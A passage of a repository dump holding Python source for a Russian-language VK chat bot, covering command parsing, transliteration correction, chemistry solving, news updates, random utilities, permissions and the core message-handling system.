'yu': 'ю',\n 'ja': 'я', 'ya': 'я', 'a': 'а', 'b': 'б', 'v': 'в', 'g': 'г',\n 'd': 'д', 'e': 'е', 'z': 'з', 'i': 'и', 'j': 'й', 'k': 'к',\n 'l': 'л', 'm': 'м', 'n': 'н', 'o': 'о', 'p': 'п', 'r': 'р',\n 's': 'с', 't': 'т', 'u': 'у', 'f': 'ф', 'x': 'х', 'h': 'х',\n 'c': 'ц', 'w': 'щ', '/': 'ъ', '#': 'ъ', 'y': 'ы', '\"': 'ь',\n \"'\": 'ь', 'q': 'я'}\nerror = {'q': 'й', 'w': 'ц', 'e': 'у', 'r': 'к', 't': 'е', 'y': 'н', 'u': 'г',\n 'i': 'ш', 'o': 'щ', 'p': 'з', '[': 'х', ']': 'ъ', 'a': 'ф', 's': 'ы',\n 'd': 'в', 'f': 'а', 'g': 'п', 'h': 'р', 'j': 'о', 'k': 'л', 'l': 'д',\n ';': 'ж', \"'\": 'э', 'z': 'я', 'x': 'ч', 'c': 'с', 'v': 'м', 'b': 'и',\n 'n': 'т', 'm': 'ь', ',': 'б', '.': 'ю', '`': 'ё'}\n\n\ndef from_translit(word: str, trs: dict = translit) -> str:\n \"\"\"\n translate word\n :param word:\n :param trs: dict of translation\n :return: formatted word\n \"\"\"\n i = 0\n formated = ''\n ll = len(word)\n while ll != i:\n for k, v in trs.items():\n ll1 = len(k)\n if word[i:ll1 + i] == k:\n formated += v\n i += ll1\n break\n else:\n if word[i].isalpha():\n formated += word[i]\n i += 1\n l1 = len(word)\n return formated\n\n\n# print(from_translit('ty zhopa'))\n# print(from_translit('ты молодец, а я нет privet'))\ndef sent_correction(string: str) -> str:\n \"\"\"\n correct sentence\n :param string: sentence\n :return: corrected sentence\n \"\"\"\n corrected = ''\n for word in string.split():\n parsed = analyzer.parse(from_translit(word))\n if parsed[0].score >= 0.65 and parsed[0].tag.POS:\n corrected += parsed[0].word + \" \"\n else:\n\n parsed = analyzer.parse(from_translit(word, error))\n if parsed[0].score >= 0.3 and parsed[0].tag.POS:\n corrected += parsed[0].word + \" \"\n else:\n corrected += word + \" \"\n return corrected.strip()\n\n\ndef normalize_sent(string: str) -> str:\n \"\"\"\n correction of incorrect words\n :param string: sentence\n :return: corrected sentence\n \"\"\"\n try:\n self_string = signs.sub('', string)\n except re.error:\n self_string = string\n for word in set(string.split(' ')):\n pw = analyzer.parse(word)[0]\n if pw.score > 0.9:\n self_string = self_string.replace(word, pw.word)\n return self_string\n\n\ndef alternative_analyzer(sent: str) -> dict:\n \"\"\"\n analysing centence\n :param sent: input text\n :return: dict of action\n \"\"\"\n parsed = {'subject': [],\n 'predicate': [],\n 'addition': [],\n 'circumstance': [],\n 'definition': []}\n words = sent_correction(sent).split()\n # words = sent.split()\n print(words)\n tags = tuple(map(lambda x: analyzer.parse(x)[0].tag, words))\n print(tags)\n for i in range(len(sent.split())):\n if words[i] in {'-', '—'} and parsed['subject']:\n parsed['predicate'].extend(\n [(words[j], tags[j]) for j in range(i + 1, len(words))])\n if tags[i].POS == 'NOUN': # существительное\n if tags[i].case == 'nomn':\n parsed['subject'].append((words[i], tags[i]))\n else:\n parsed['addition'].append((words[i], tags[i]))\n elif tags[i].POS == 'NPRO': # местоимение\n if tags[i].case == 'nomn':\n parsed['subject'].append((words[i], tags[i]))\n elif tags[i].POS in {'VERB', 'ADJS'}: # сказуемое\n parsed['predicate'].append((words[i], tags[i]))\n elif tags[i].POS == 'INFN':\n if words[i - 1] in parsed['predicate']:\n parsed['predicate'].append((words[i], tags[i]))\n elif tags[i].POS == 'NUMR':\n if tags[i + 1].POS == 'NOUN':\n parsed['subject'].append((words[i], tags[i]))\n elif tags[i].POS == 'PREP':\n if tags[i - 1].POS == 'NOUN':\n parsed['subject'].append((words[i], tags[i]))\n return parsed\n\n# print(alternative_analyzer(\"reshi h2so4+hcl\"))\n# print(alternative_analyzer(\"новости спорт\"))\n\n\ndef get_info(word: str, addition=None) -> (str, bool):\n wikipedia.set_lang('ru' if word[0] not in ascii_lowercase else 'en')\n res = wikipedia.search(\n word if addition is None else word + ' ' + addition, results=1)\n if res:\n try:\n return wikipedia.summary(res[0]), 'acpt'\n except Exception as f:\n return f, 'add'\n\n\ndef parse2(string: str, string2: str = None):\n \"\"\"\n another sentence parser\n :param string: sentence\n :param string2:\n :return:\n \"\"\"\n res = ''\n parsed = alternative_analyzer(string.lower())\n # print(parsed)\n if parsed['predicate']:\n if parsed['predicate'][0][0] in {'реши', 'вычисли', 'посчитай'}:\n # print(1, string)\n eqs = Eq.find_eq(string)\n if eqs: # решить уравнение\n print(\"this is equation \")\n for eq in eqs:\n eq, roots = Eq.parse_eq(eq)\n res = Eq.solve_equation(eq, roots)\n res = 'x ∈ ' + str(res) if len(res) <= roots else None\n stat = 'acpt'\n return res, stat\n elif Ce.is_equation(string):\n print(\"this is chemical equation!\")\n return 'solve_chemical', 'invoke'\n # stat = 'acpt'\n # return Ce.solve_equation(eq), stat\n elif parsed['predicate'][0][0] in {'скажи',\n 'напиши'} and parsed['subject']:\n print(2)\n req = ' '.join(i[0] for i in parsed[\n 'subject'] if i[1].POS not in {'CONJ'}) # получить информаци.\n res, stat = get_info(req, string2)\n elif parsed['predicate'][0][0] in {'выбери',\n 'скажи'} and bool(parsed['subject']):\n print(3)\n return 'я думаю ' + str(random.choice(\n tuple(map(lambda x: x[0], parsed[\n 'subject'] + parsed['addition'])))), 'acpt'\n elif parsed['predicate'][0][0] in {'переведи'}:\n print(4)\n return 'speech_to_text', 'invoke'\n elif parsed['predicate'][0][0] in {'распознай'}:\n print(5)\n return 'sound_name', 'invoke'\n elif parsed['predicate'] and parsed['predicate'][0][0] in\\\n {'происходит'} and parsed['addition'][0][0] in {'мире'} or\\\n parsed['addition'][0][0] in {'новости'}:\n print(6)\n return 'get_news', 'invoke'\n return res, stat\n\n\n# print(parse2(\"реши h2so4 + naoh\"))\n# print(parse2(\"reshi h2so4 + naoh\"))\n# print(parse2('реши: x**2-8x+3'))\n# parse2('Моя мама (кто она такая?) — швея')\n# parse2('скажи что такое Человек')\n# parse2('Кто такой билл гейтс')\n# parse2('Что такое сверчок')\n# parse2('Скажи пожалуйста кто такой билл гейтс')\n# parse2('Сколько будет 2+2?')\n" }, { "alpha_fraction": 0.5399146676063538, "alphanum_fraction": 0.553321123123169, "avg_line_length": 29.98113250732422, "blob_id": "cbc13bf133d2cdb854e2648dbb64e94e536a9ec8", "content_id": "8fe133cfbef1a41e2ed44547d48067211be7e92f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1813, "license_type": "no_license", "max_line_length": 77, "num_lines": 53, "path": "/commands/solve_chemical.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import *\nfrom commands.stupidAI.tools import ChemicalEquations as Ce\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport tempfile\nfrom PIL import Image\nimport io\n\n\ndef dothis(msg: Message):\n \"\"\"\n Solve chemical equation - make full equation\n :param msg:\n :return: full equation\n \"\"\"\n img, url = Ce.solve_equation(Ce.is_equation(msg.text))\n if img and url:\n ff = requests.get(img)\n img = Image.open(io.BytesIO(ff.content))\n w, h = img.size\n if w / h < 20:\n hn = w // 20 + 20\n a = Image.new('RGB', (w, hn), (255, 255, 255))\n a.paste(img, (0, (hn - h) // 2))\n img = a\n f = tempfile.NamedTemporaryFile(\n dir='temp\\\\', suffix='.png', delete=False,)\n f.close()\n img.save(f.name, 'PNG')\n photo = msg.cls.upload_photo(f.name, msg.userid)\n os.remove(f.name)\n res = requests.get(url)\n res.encoding = 'utf-8'\n text = bs(res.content, 'html.parser').find(\n 'div', {'class': 'reactBody'}).contents[0].strip()\n print(text, photo)\n return text, photo\n else:\n return 'Реакции не найдено'\n\n\ndef main():\n return (\"solve_chemical\",\n \"solchem\",\n dothis,\n 'solchem {химическое уравнение}\\n'\n 'Решить зимическое уравнение - Получить полное уравнение реакции'\n ' по реагентам или продуктам\\n'\n 'Например при вводе реакции {HCl + NaOH}, выведеться\\n'\n '{HCl + NaOH = NaCl + H2O}',\n 1,\n None,\n 'решение химических уравнений'), None, None" }, { "alpha_fraction": 0.5621469020843506, "alphanum_fraction": 0.5768361687660217, "avg_line_length": 35.875, "blob_id": "6446f33b78a5f80692d19111e5e1f6140fd93350", "content_id": "feeb9ea1d8cc78fc4ee7986545586d3655e4fbaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2006, "license_type": "no_license", "max_line_length": 96, "num_lines": 48, "path": "/commands/rand.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import ChatSystem\nimport random\n\n\ndef dothis(message):\n \"\"\"\n Some random functions\n :param message:\n :return: random function return\n \"\"\"\n array_calls = ('ar', 'array', 'shuffle')\n situations = {\n 'int': lambda x, y: random.randint(x, y),\n 'i': lambda x, y: random.randint(x, y),\n 'f': lambda x, y: random.uniform(x, y),\n 'float': lambda x, y: random.uniform(x, y),\n 'array': lambda x, y=None: random.choice(x),\n 'ar': lambda x, y=None: random.choice(x),\n 'coin': lambda x=None, y=None: random.choice(('HEADS', 'TAILS')),\n 'shuffle': lambda x, y=None: ' '.join((random.shuffle(x), x)[1]),\n 'r': lambda x=None, y=None: random.random(),\n 'random': lambda x=None, y=None: random.random()\n }\n p = message.params\n mode = p[0] if len(p) > 0 and p[0] in situations.keys() else 'i'\n if mode in array_calls:\n return str(situations[mode](p[1::]))\n else:\n a = int(p[1]) if len(p) > 1 else 0\n b = int(p[2]) if len(p) > 2 else 0 if len(p) == 2 else 100\n return str(situations[mode](min(a, b), max(b, a)))\n\n\ndef main():\n help_msg = \"\"\"!random | !r {int|float|coin|array|shuffle|random} {value} {value} | values...\n int - случайное целое число в заданном диапазоне(от 0 до 100 по умолчанию)\n float - случайное дробное число в заданном диапазоне(от 0 до 100 по умолчанию)\n coin - бросить монетку\n array - выбрать случайный член из заданного через пробел списка\n shuffle - перемешать заданный через пробел список\n random - случайное число от 0 до 1\"\"\"\n return (\"random\",\n 'r random',\n dothis,\n help_msg,\n 0,\n None,\n \"Рвзличный рандом\"), None, None\n" }, { "alpha_fraction": 0.556594967842102, "alphanum_fraction": 0.5659494996070862, "avg_line_length": 31.393939971923828, "blob_id": "1029a366d80b7e00eae8f027058502de2d7a06e8", "content_id": "303f02f39ee5eb2919833e9b435f4debe3bc06d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1128, "license_type": "no_license", "max_line_length": 74, "num_lines": 33, "path": "/commands/permissions.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import ChatSystem\n\n\ndef permissions(params, system: ChatSystem, message):\n '''\n Add permission control\n :param params: param[0] - other id; param[1](option) - level\n :param system: ChatSystem obj\n :param message: Message obj\n :return:\n '''\n if params:\n otherid = int(\n params[0]) if params[0] != 'self' and params[\n 0].isdigit() else message.userid\n other = system.db_session.create_session().query(\n system.db_session.User).filter(\n system.db_session.User.id == message.userid).first()\n if other:\n if len(params) > 1 and params[1].isdigit():\n other.level = int(params[1])\n return \"Success\"\n else:\n return str(other.level)\n else:\n return \"Неправильный id\", False\n return \"Не хватает параметров. Необходимые параметры: {id}\" \\\n \" или self; число\", False\n\n\ndef main():\n return None, None, {\n 'permissions': {'get': (permissions, 0), 'set': (permissions, 8)}}\n" }, { "alpha_fraction": 0.514683723449707, "alphanum_fraction": 0.5180723071098328, "avg_line_length": 28.186813354492188, "blob_id": "7a1c8c68885e9257f85e92fbfffc404e7a4bc382", "content_id": "4531c387aa8fb5f93c38b1d94ea0c37e07c50b5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2876, "license_type": "no_license", "max_line_length": 75, "num_lines": 91, "path": "/commands/stupid_ai.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import *\nfrom commands.stupidAI import parser\n\n\ndef sett(params, system: ChatSystem, message):\n \"\"\"\n Control work\n :param params:\n :param system:\n :param message:\n :return:\n \"\"\"\n param = message.params[-1]\n print(param)\n if param:\n session = system.db_session.create_session()\n sett = session.query(\n system.db_session.Settings).filter(\n (system.db_session.Settings.user_id == message.userid) &\n (system.db_session.Settings.name == 'stupid_ai')).first()\n if param in {'False', '0', 'false', 'no'}:\n if sett:\n session.delete(sett)\n\n elif param in {'True', '1', 'true', 'yes'}:\n if not sett:\n session.add(system.db_session.Settings(\n message.userid,\n 'stupid_ai',\n 'disable'\n ))\n elif param == 'current':\n return str(bool(sett))\n session.commit()\n return \"Success\"\n else:\n return \"Не хватает параметра. Возможные варианты: {True | False}\"\n\n\ndef analyze(message):\n \"\"\"\n Use commands based on input sentence\n :param message:\n :return:\n \"\"\"\n session = message.get_session()\n enable = message.get_setting(session, 'stupid_ai')\n print(enable)\n if enable:\n active_command = message.get_setting(session, 'active')\n if active_command:\n ans, stat = parser.parse2(parser.normalize_sent(message.msg))\n if stat == 'acpt':\n session.delete(active_command)\n return ans\n else:\n return ans\n else:\n ans, stat = parser.parse2(parser.normalize_sent(message.msg))\n if stat == 'acpt':\n return ans\n elif stat == 'add':\n active_command.value = message.text\n return ans\n elif stat == 'invoke':\n return message.cls.main_system.invoke_command(message, ans)\n\n\ndef main():\n sets = {\n 'enable_stupid_ai': {\n 'True': (sett, 0),\n 'False': (sett, 0),\n 'current': (sett, 0)\n }}\n return (\n \"stupid_ai\",\n \"ai\",\n analyze,\n \"!ai Запрос\\n\"\n \"Отвечает на заданный запрос. По умолчанию сканирует\"\n \" все входищие сообщения на наличие запроса.\\n\"\n \"Можно отключить в настройках\\n\"\n \"Можно спросить:\"\n \"\\nНовости;\\n\"\n \"выбери {} или {};\\n\"\n \"Скажи что такое {название}\",\n 0,\n None,\n \"Отвечает на заданный вопрос\"\n ), (analyze, None, None), sets\n" }, { "alpha_fraction": 0.5557776689529419, "alphanum_fraction": 0.5625749826431274, "avg_line_length": 27.74712562561035, "blob_id": "9b53d99c54eb993c1028157bb9fcc7d9f4cf830e", "content_id": "d9faadc479f5bd9a5d6ceba4a9cfe140a276d1a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2723, "license_type": "no_license", "max_line_length": 71, "num_lines": 87, "path": "/commands/news.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import *\nimport schedule\nfrom commands.site_parsers.news import *\nfrom ast import literal_eval\n\n\n# init\n# getting news from yandex and triberkomo\ndef update_news(system: ChatSystem):\n \"\"\"\n Function to update news with schedule\n :param system:\n :return:\n \"\"\"\n\n def update(system):\n \"\"\"\n update news as schedule function\n :param system:\n :return:\n \"\"\"\n session = system.db_session.create_session()\n for sett in session.query(system.db_session.Settings).filter(\n system.db_session.Settings.name == 'news'):\n session.delete(sett)\n session.commit()\n system.module_news = set()\n apply_news(system.module_news)\n\n update(system)\n schedule.every(5).hours.do(update, system)\n # system.module_news = set()\n # apply_news(system.module_news)\n# init\n\n\ndef dothis(message) -> str:\n \"\"\"\n chooses news with tag and used news\n :param message:\n :return: news\n \"\"\"\n system: ChatSystem = message.cls.main_system\n session = system.db_session.create_session()\n was = message.get_setting(session, 'news')\n was_set = literal_eval(was.value) if was else set()\n tags = set(message.params)\n if message.params:\n if message.params[0].isdigit():\n n = int(message.params[0])\n le = 0\n ans = ''\n for i, item in enumerate(system.module_news):\n item_lower = item[0].lower()\n if not tags or (item[1] in tags or any(\n map(lambda x: x in item_lower, tags))):\n le1 = len(item[0])\n if le1 + le > 4096:\n return ans\n elif i not in was_set:\n was_set.add(i)\n ans += item[0]\n le += le1\n break\n if not ans:\n return 'Ничего не найдено'\n if was:\n was.value = str(was_set)\n session.commit()\n else:\n message.add_setting(session, 'news', str(was_set))\n return ans\n\n\ndef main():\n return (\"get_news\",\n \"news\",\n dothis,\n '!news {необязательно: тема}\\n'\n 'Получить свежие новости. Каждый повторный ввод команды - '\n 'новая новость, пока они не закончаться\\n'\n 'Новости обновляются каждые 5 часов.\\n'\n 'Если ввести тему после команды, выведется новость, '\n 'в которой есть упоминание о теме',\n 0,\n None,\n \"Свежие новости\"), (None, None, update_news), None\n" }, { "alpha_fraction": 0.47174447774887085, "alphanum_fraction": 0.4736038148403168, "avg_line_length": 31.454740524291992, "blob_id": "77609451a46dcfc79d2d2da98928464a0587ee0c", "content_id": "caf12313e0b65f633d7d252a514eb3259da95825", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15100, "license_type": "no_license", "max_line_length": 80, "num_lines": 464, "path": "/Core/core.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import glob\nimport os\nfrom threading import Thread\nfrom .models import db_session\nfrom typing import *\nimport re\nimport schedule\nimport time\n\n\ndef nothing(*chat, **kwargs):\n pass\n\n\ndef fix_paths(paths: List[str]) -> List[str]:\n \"\"\"\n Making path for linux and windows\n :param paths: List of paths\n :return: edited list of paths\n \"\"\"\n new_paths = []\n for path in paths:\n new_paths.append(path.replace('\\\\', '/'))\n return new_paths\n\n\nclass ChatSystem:\n \"\"\"\n Class to control all chats\n \"\"\"\n system_id = 0\n ACTIVE_ACTIONS = dict()\n PASSIVE_ACTIONS = list()\n SETTINGS = dict()\n EXITS = list()\n ON_LOAD = list()\n\n def __init__(self, modules: Dict[str, str], db_file=None,\n default_command_symbols=(\"!\", \"test>\"),\n mode: Union['full', 'commands', None]=\"commands\",\n update_status=0):\n \"\"\"\n Initialising all commands and data base\n\n :type 'full': str\n :type 'commands': str\n :param modules: Dictionary of modules - Path: files or @all for all\n files with !file for exclude files\n :param db_file: path for database file may be None\n :param default_command_symbols: default symbols to invoke most commands\n :param mode: initialising mode:\n 'full' - for delete database;\n 'commands' - for save users and their settings;\n \"\"\"\n self.update_status = float(update_status)\n self.defaut_command_symbols = default_command_symbols\n self.system_id = ChatSystem.system_id\n ChatSystem.system_id += 1\n if db_file is None:\n db_file = fr\"./Core/db/db-{ChatSystem.system_id}.sqlite\"\n exists = os.path.exists(db_file)\n self.db_session = db_session.DataBaseSession(db_file)\n is_init = not exists\n if exists:\n if mode == \"full\":\n self.clear_database(False)\n is_init = True\n elif mode == \"commands\":\n self.clear_database(self.db_session.CommandTable)\n is_init = True\n self.load_modules(modules, is_init)\n self.reload()\n Thread(target=self.shedule_run).start()\n\n def shedule_run(self) -> None:\n \"\"\"\n Function to update schedule\n\n TODO: Need to put on level up\n :return: Nothing\n \"\"\"\n while 1:\n schedule.run_pending()\n time.sleep(1)\n\n def reload(self) -> None:\n \"\"\"\n run all functions on load\n :return: None\n \"\"\"\n for action in self.ON_LOAD:\n action(self)\n\n def load_modules(self, dirs, init=True) -> None:\n \"\"\"\n loading modules with import and execute their main function\n\n :param dirs: Paths for files\n :param init: Add new commands?\n :return:\n \"\"\"\n session = self.db_session.create_session()\n currentdir = os.path.abspath(os.curdir)\n for dir in dirs.keys():\n os.chdir(dir)\n files = glob.glob(r\"*.py\") if dirs[dir][0] == '@all' else dirs[dir]\n files = files if isinstance(\n files, tuple) or isinstance(files,\n set) or isinstance(\n files, list) else tuple(files)\n for i in files:\n if '!' + i not in dirs[dir] and i[0] != '!':\n if i[-3:] == \".py\":\n i = i[:-3]\n print(dir, i)\n exec(f'from {dir} import {i}')\n _cmd, _additional, _setts = eval(f'{i}.main()')\n if _additional:\n __passivef, __exitf, __onloadf = _additional\n else:\n __passivef, __exitf, __onloadf = None, None, None\n exec(f'del {i}')\n if _cmd and len(_cmd) >= 3 and not all(\n map(lambda x: x is None, _cmd[:3])):\n __name, __activates, __action = _cmd[:3]\n __activates = \" \" + __activates.strip() + \" \"\n if init:\n session.add(self.db_session.CommandTable(\n __name,\n __activates,\n *_cmd[3:],\n default_sym=self.defaut_command_symbols[0]))\n self.ACTIVE_ACTIONS[__name] = __action\n if __passivef:\n self.PASSIVE_ACTIONS.append(__passivef)\n if __exitf:\n self.EXITS.append(__exitf)\n if _setts:\n self.SETTINGS.update(_setts)\n if __onloadf:\n self.ON_LOAD.append(__onloadf)\n\n session.commit()\n os.chdir(currentdir)\n\n def exit(self) -> None:\n \"\"\"\n Running exit functions for commands\n :return:\n \"\"\"\n for command in self.EXITS:\n try:\n command(self)\n except Exception:\n pass\n\n def clear_database(self, table) -> None:\n \"\"\"\n delete all values in column\n\n :param table: table for delete\n :return:\n \"\"\"\n session = self.db_session.create_session()\n if table:\n for user in session.query(table):\n session.delete(user)\n session.commit()\n else:\n meta = self.db_session.SqlAlchemyBase.metadata\n for table in reversed(meta.sorted_tables):\n session.execute(table.delete())\n session.commit()\n\n def invoke_command(self, message, command_name: str) -> str and list:\n return self.ACTIVE_ACTIONS[command_name](message)\n\n def getcommand(self, value) -> Optional:\n \"\"\"\n getting command name with sql;\n\n :param value: activation command(may be)\n :return:\n \"\"\"\n session = self.db_session.create_session()\n v = \" \" + value + \" \"\n k = session.query(self.db_session.CommandTable).filter(\n self.db_session.CommandTable.activates.contains(v) | (\n self.db_session.CommandTable.name == v.strip())).first()\n if k:\n return k\n return None\n\n def get_command_symbol(self, text: str) -> Optional[str]:\n \"\"\"\n find symbol before command\n\n :param text:\n :return:\n \"\"\"\n for i in self.defaut_command_symbols:\n if text[:len(i)] == i:\n return i\n else:\n return None\n\n def valid(self, text):\n \"\"\"\n Is this command?\n\n :param text: message\n :return:\n \"\"\"\n command_symbol = self.get_command_symbol(text)\n if command_symbol is not None:\n value = text[len(command_symbol):text.find(' ') if text.find(\n ' ') != -1 else None]\n if self.getcommand(value):\n return True\n return False\n\n\nclass Chat(Thread):\n \"\"\"\n Default struct for chat\n \"\"\"\n id = 0\n find_id = re.compile(r'\\[id(\\d+)\\|@\\w+]')\n\n def __init__(self, main_system: ChatSystem):\n \"\"\"\n Initialising with setting id and schedule to update status\n :param main_system: class of ChatSystem\n \"\"\"\n self.id = Chat.id\n Chat.id += 1\n super().__init__()\n self.main_system = main_system\n if main_system.update_status:\n schedule.every(main_system.update_status).minutes.do(\n self.update_status\n )\n\n def update_status(self) -> None:\n \"\"\"\n Updating status by writing time to file\n :return: Nothing\n \"\"\"\n with open(f'./status/{self.id}.status', 'w') as f:\n f.write(str(time.time()))\n\n def send(self):\n pass\n\n def input(self):\n pass\n\n def message_parse(self, value):\n pass\n\n\nclass Message(Thread):\n wtype = '' # chat type\n command = '' # command name\n msg_id = 0 # message id\n sendid = '' # to send\n userid = 0 # sender(bot) id\n msg = '' # message text\n date = '' # message date\n text = '' # message text without command\n cls = None # system class\n attachments = dict() # photos, audios...\n sym = '' # symbol before command\n\n @classmethod\n def from_text(cls, _type, id, text, chat):\n parsed = chat.message_parse(text)\n return cls(_type,\n id,\n chat,\n parsed['msg'],\n parsed['attachments'],\n parsed['date'],\n parsed['sendid'],\n parsed['userid']\n )\n\n def __init__(self,\n _type,\n id,\n cls: Chat,\n msg,\n attachments,\n date,\n sendid,\n userid\n ):\n \"\"\"\n Parsing text and making Message\n :param _type: Chat type\n :param id: message id\n :param text: - send text\n :param cls: - Chat type\n \"\"\"\n system: ChatSystem = cls.main_system\n session = system.db_session.create_session()\n Thread.__init__(self)\n self.wtype = _type\n self.attachments = attachments\n self.msg = msg\n self.date = date\n self.sendid = sendid\n self.userid = userid\n self.user = session.query(\n system.db_session.User\n ).filter(\n (\n system.db_session.User.id == self.userid\n ) & (\n system.db_session.User.type == self.wtype\n )\n ).first()\n\n self.sym = system.get_command_symbol(self.msg)\n self.command = system.getcommand(\n self.msg[len(self.sym):self.msg.find(\n ' ') if self.msg.find(\n ' ') != -1 else None]) if self.sym is not None else None\n self.cls: Chat = cls\n self.text = self.msg[self.msg.find(' ') + 1:]\n self.msg_id = id\n self.params = self.msg.split()[1::]\n self.special_params = set(filter(lambda x: x[0] == '?', self.params))\n for param in self.special_params:\n self.params.remove(param)\n # print(self.special_params, self.params)\n\n def run(self) -> None:\n \"\"\"\n Getting user and adding to database\n run passive actions if command is not found\n :return: None\n \"\"\"\n system = self.cls.main_system\n session = system.db_session.create_session()\n if self.user is None:\n self.user = system.db_session.User(self.userid, self.wtype, 0)\n session.add(self.user)\n session.commit()\n self.send(\n \"Добро пожаловать!\" \n \" напишит\"\n \"е \" + self.cls.main_system.defaut_command_symbols[0] + \"help д\"\n \"ля пол\"\n \"учения\"\n \" пом\"\n \"ощи\")\n if self.command:\n ans = system.ACTIVE_ACTIONS[\n self.command.name](\n self) if self.command.level <= self.user.level else \"you d\" \\\n \"on't h\" \\\n \"ave pe\" \\\n \"rmission\"\n self.send(ans)\n else:\n for action in system.PASSIVE_ACTIONS:\n try:\n ans = action(self)\n self.send(ans)\n except Exception:\n pass\n # self.cls.send('Wrong', self.sendid, self.msg_id)\n\n def send(self, msg: Union[str, Tuple, Dict, List, Generator]):\n \"\"\"\n sends messages depending on its type\n :param msg: Return of command\n :return: Nothing\n \"\"\"\n if msg is not None:\n if isinstance(msg, tuple):\n self.cls.send(msg[0] if msg[0] else '...',\n self.sendid,\n self.msg_id,\n attachment=msg[1]\n )\n elif isinstance(msg, list):\n for i in msg:\n self.send(i)\n elif isinstance(msg, dict):\n self.cls.send(msg['msg'] if 'msg' in msg.keys() else '...',\n self.sendid,\n self.msg_id,\n attachment=msg['attachment'] if\n 'attachment' in msg.keys() else None,\n keyboard=self.cls.make_keyboard(*msg['keyboard'])\n if 'keyboard' in msg.keys() else None\n )\n else:\n self.cls.send(msg, self.sendid, self.msg_id)\n\n def get_setting(self, session, setting: str) -> Optional:\n \"\"\"\n Getting setting from sql with given name\n :param session: database session\n :param setting: setting name\n :return: Founded sqlalchemy type\n \"\"\"\n return session.query(\n self.cls.main_system.db_session.Settings\n ).filter(\n (\n self.cls.main_system.\n db_session.Settings.user_id == self.userid\n ) & (\n self.cls.main_system.db_session.Settings.name == setting\n )\n ).first()\n\n def add_setting(self, session, setting: str, value: Optional[str] = None):\n \"\"\"\n Adding setting to sql settings table\n if setting is active:\n put default command setting before value\n :param session:\n :param setting:\n :param value:\n :return:\n \"\"\"\n session.add(\n self.cls.main_system.db_session.Settings(\n self.userid,\n setting,\n value if setting != 'active' else self.sym + value\n )\n )\n session.commit()\n\n def delete_active(self, session) -> None:\n \"\"\"\n delete active setting\n :param session: sqlalchemy sesion\n :return:\n \"\"\"\n self.delete_setting(session, 'active')\n session.commit()\n\n def delete_setting(self, session, setting: str):\n \"\"\"\n Delete setting with given name\n :param session:\n :param setting:\n :return:\n \"\"\"\n session.delete(self.get_setting(session, setting))\n session.commit()\n\n def get_session(self):\n \"\"\"\n Getting sqlalchemy session\n :return:\n \"\"\"\n return self.cls.main_system.db_session.create_session()\n" }, { "alpha_fraction": 0.6786885261535645, "alphanum_fraction": 0.6786885261535645, "avg_line_length": 27.625, "blob_id": "b8bcaa9292bbe55c6fd58456d41795890b585d05", "content_id": "ba8c281bd339281eb92a0bfa4f62c21b3522d110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 915, "license_type": "no_license", "max_line_length": 76, "num_lines": 32, "path": "/system_start.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import argparse\nimport sys\nimport json\nfrom Core.core import ChatSystem\nfrom chats import vk_chat, command_promt\n\nchat_classes = {'VK': vk_chat.VK, 'command_promt': command_promt.SimpleChat}\n\nparser = argparse.ArgumentParser()\nparser.add_argument('runed_file', type=str)\nparser.add_argument('json_file', type=str)\nparser.add_argument(\n '-db_param',\n default=None,\n type=str,\n choices={'full', 'command', None},\n required=False\n)\nargs = parser.parse_args(sys.argv)\nif not args:\n args = parser.parse_args(input())\nwith open(f'./cfg/{args.json_file}', 'r') as f:\n params = json.load(f)\nprint('Creating system...')\nchat_system = ChatSystem(**params['ChatSystem'])\nprint('Creating chats...')\nfor type, chats in params['Chats'].items():\n for chat in chats:\n print(chat)\n chat_classes[type](**chat, main_system=chat_system).start()\n print(f'Chat {type} created!')\nprint('Done')" }, { "alpha_fraction": 0.43437474966049194, "alphanum_fraction": 0.4373113512992859, "avg_line_length": 38.80519485473633, "blob_id": "9b82aed9c3ae3959a8ef57c739b54913235998ae", "content_id": "4e1dacf3af1835c7f66317574a2a080a9fa76535", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12280, "license_type": "no_license", "max_line_length": 80, "num_lines": 308, "path": "/chats/vk_chat.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import Chat, Message, ChatSystem\nimport vk\nimport requests\nfrom types import *\nfrom typing import *\nimport json\n\n\nclass VK(Chat):\n name = 'vk'\n LPS = 'server'\n vk_api = 'api'\n group_id = 123\n api_version = 0.\n msg_id = 0\n vk_api_user = 'api'\n\n def input(self, res, id):\n \"\"\"\n catch messages from response\n :param res: json response from long poll server\n :param id: message id\n :return:\n \"\"\"\n try:\n if res is None or len(\n res['updates']) == 0: # checking for right response\n pass\n else:\n for update in res['updates']:\n if update['type'] == 'message_new':\n Message.from_text( # creating message\n 'vk',\n id,\n update,\n self,\n ).start()\n except KeyError:\n self.get_server() # if error\n\n def send(self, res, id, rid, attachment=None, keyboard=None):\n \"\"\"\n sending message to user depending on the type returned by the command\n :param res: returned by command\n :param id: from user id\n :param rid: to user id\n :param attachment: attachments\n :param keyboard: keyboard if available\n :return:\n \"\"\"\n if not isinstance(res, (tuple, list)):\n res = [res]\n for text in res:\n if isinstance(text, str):\n self.vk_api.messages.send(peer_id=id,\n message=text,\n v=self.api_version,\n random_id=rid,\n attachment=attachment,\n keyboard=keyboard\n ) # sending message\n elif isinstance(text, GeneratorType): # generator type - edit\n first = True\n for msg in text:\n if isinstance(msg, tuple):\n answer, 